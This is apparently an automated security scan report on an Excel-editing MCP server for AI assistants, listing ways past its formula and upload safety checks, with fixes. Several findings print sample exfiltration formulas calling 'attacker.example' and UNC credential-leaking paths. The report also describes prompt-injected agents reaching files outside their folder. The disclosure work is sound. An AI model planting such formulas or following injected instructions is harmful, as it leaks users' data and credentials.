excel-mcp-server
- Type
- MCP server
- Scanned
- Nov 13, 2026
- Version
- 8d3a51a0a5f9
- Files read
- 399
This tool lets AI assistants create, read, calculate, and edit Excel spreadsheets and CSV files without needing Microsoft Excel installed. The biggest risk is that a tricked AI assistant can access spreadsheets and images anywhere on your computer unless folder limits are set, and can bypass built-in safety checks to plant unsafe formulas or external links that leak data when you open a file in Excel.
What it can reach
- Files
- Reads, creates, edits, and lists Excel files (.xlsx, .xlsm, .xltx, .xltm) and CSV or TSV files, and reads PNG or JPEG images to insert into sheets, either inside chosen folders or anywhere on your computer if no folder limit is set.
- Network
- Makes no outbound internet connections, but when run in HTTP mode it listens for incoming connections on port 8017 (on localhost by default, or on all network interfaces in Docker with an authentication token).
Findings
-
HighUploaded workbook XML parts ending in .vml bypass the formula and remote-data safety scan
src/excel_mcp/upload_scan.py:84
When import_workbook checks an uploaded workbook archive, any zip entry whose filename ends with .vml is routed only to _scan_vml (which only looks for href= attributes) and skips _scan_xml. Because Excel and openpyxl locate worksheets, workbooks, and other XML parts via [Content_Types].xml Overrides and .rels targets rather than file extensions, naming a worksheet or workbook part with a .vml suffix (such as xl/worksheets/sheet1.vml) bypasses all checks for blocked functions (WEBSERVICE, CALL, RTD), DDE links, Excel 4.0 macro defined names, and linked OLE objects. Even in genuine VML drawings, _scan_vml also misses <x:FmlaLink>, <x:FmlaRange>, and <x:FmlaPict> external references and uses xml.sax.saxutils.unescape, which does not decode numeric character entities like @ in href targets.
Fix: Run _scan_xml on every entry where entry.is_xml or types.claims_excel(info.filename) is true regardless of its extension (falling back to lenient VML scanning only if a non-Excel VML part fails XML parsing), check <x:Fmla...> elements in VML drawings, and use html.unescape when checking VML href attributes.
-
HighFormula safety gate bypassed by range-qualified calls with a space before '(' and prefixed _xleta references
When a blocked, macro, or HYPERLINK function follows a range colon and has whitespace before its opening parenthesis—such as =A1:IMPORTXML ("https://attacker.example/?d="&B1, "//a"), =A1:WEBSERVICE ("https://attacker.example/?d="&B1), =A1:FILES ("C:\*"), or =A1:HYPERLINK (B1)—the tokenizer emits A1:FUNC without a trailing '(' followed by a '(' token. Although _call_arguments recognizes this pattern as a function call and check_syntax accepts it as valid syntax, normalize_function_name only strips the 'A1:' prefix when token_value.endswith('('), and _check_call does not check BLOCKED_FUNCTIONS. Similarly, _call_arguments checks token.value.upper().startswith('_XLETA.') before stripping '@', sheet qualifiers, or '_xlfn.', allowing =MAP(A1:A3, _xlfn._xleta.FILES) or =MAP(A1:A3, @_xleta.HYPERLINK) past _check_call.
Fix: Strip colon prefixes in normalize_function_name whenever _call_arguments identifies the token as a called function, check BLOCKED_FUNCTIONS inside _check_call as well, and strip sheet qualifiers, '@', and function prefixes before checking for '_XLETA.'.
-
MediumExternal workbook structured table references without '!' bypass the external-workbook check
The formula gate blocks references to other workbooks by inspecting qualifiers before '!' in _qualifiers and skipping any token without '!'. However, structured table references to external workbooks do not require '!'—for example =SUM([1]Table1[Sales]), =SUM([Budget.xlsx]Table1[Sales]), or =SUM(\\attacker.example\share\[Budget.xlsx]Table1[Sales]). Because formula_syntax.py allows backslashes in _NAME and bracketed [n] or [workbook] prefixes in _is_table_reference, these external and UNC workbook references pass both check_formula and check_syntax and are written to the file, where opening the workbook in Excel can leak Windows NTLM credentials over SMB or pull external data.
Fix: Reject RANGE tokens that contain backslashes or bracketed external workbook prefixes (such as [1] or [book.xlsx] before a table name) in _check_token and _is_table_reference.
-
MediumTokenizer failures are ignored on form-control and PivotTable formulas during workbook import
src/excel_mcp/operations/files.py:68
During import_workbook, _check_formulas catches InvalidFormulaError and ignores it whenever formula.pivot is True (which covers PivotTable formulas and formControlPr attributes like fmlaRange and fmlaLink). Because _tokenize wraps openpyxl TokenizerError exceptions into InvalidFormulaError before _check_token ever runs—and openpyxl's tokenizer fails with TokenizerError on valid Excel escaped brackets inside structured references—an uploaded form control such as fmlaRange="'\\attacker\share\book.xlsx'!Table1[Col'[1]" raises InvalidFormulaError during tokenization and is accepted without checking its external UNC workbook target.
Fix: Do not suppress InvalidFormulaError raised during tokenization before _check_token and _check_call have inspected all tokens, and check formControlPr cell/range links without setting pivot=True.
-
LowCalculated column formula on a header-only table is stored without running the formula safety check
src/excel_mcp/operations/table_options.py:221
In _set_formula, storable_formula is only called via calculated_value inside the loop over data rows range(first, last + 1), and the unprefixed text is then assigned to column.calculatedColumnFormula. If an existing or uploaded workbook contains a degenerate header-only table where first > last, the loop does not execute and set_table writes the unvalidated formula directly into the table definition XML.
Fix: Validate and normalize text with storable_operand(text, sheet_names(sheet)) before looping over data rows and store the normalized operand on TableFormula.
-
LowCloning preserved package links does not memoize shared parts on cyclic or diamond relationships
src/excel_mcp/package/model.py:193
When reading an existing workbook's .rels files, Reader.part memoizes Part objects by name so cyclic or shared relationships load in linear time. However, _clone recursively copies part.links without memoizing already-cloned Part objects, so calling copy_sheet on a crafted workbook with cyclic or diamond .rels graphs triggers RecursionError or exponential memory growth.
Fix: Pass a memo dictionary mapping id(part) to its cloned Part through cloned and _clone when part.unique is False, and guard against cycles.
-
LowRelease workflow downloads mcp-publisher binary without checksum verification
.github/workflows/publish.yml:83
The mcp-registry release job downloads and extracts mcp-publisher_linux_amd64.tar.gz with curl | tar without verifying a SHA-256 digest before running it with id-token: write permissions. Developer CI scripts do not run on user machines after installation, but verifying the binary hash hardens the release pipeline.
Fix: Download the archive to a file, verify its SHA-256 checksum against a pinned digest with sha256sum --check, and only then extract and execute mcp-publisher.
-
LowFolder confinement is optional in the MCP registry manifest
In server.json, the --allow-dir argument is marked optional, unlike manifest.json where choosing a workbook folder is required. If a user installs the server from an MCP registry client without supplying --allow-dir, the server starts in stdio mode with no folder confinement, allowing a prompt-injected agent to read or create Excel and CSV files anywhere on the machine.
Fix: Set isRequired to true for the --allow-dir package argument in server.json to match manifest.json and require folder confinement by default.
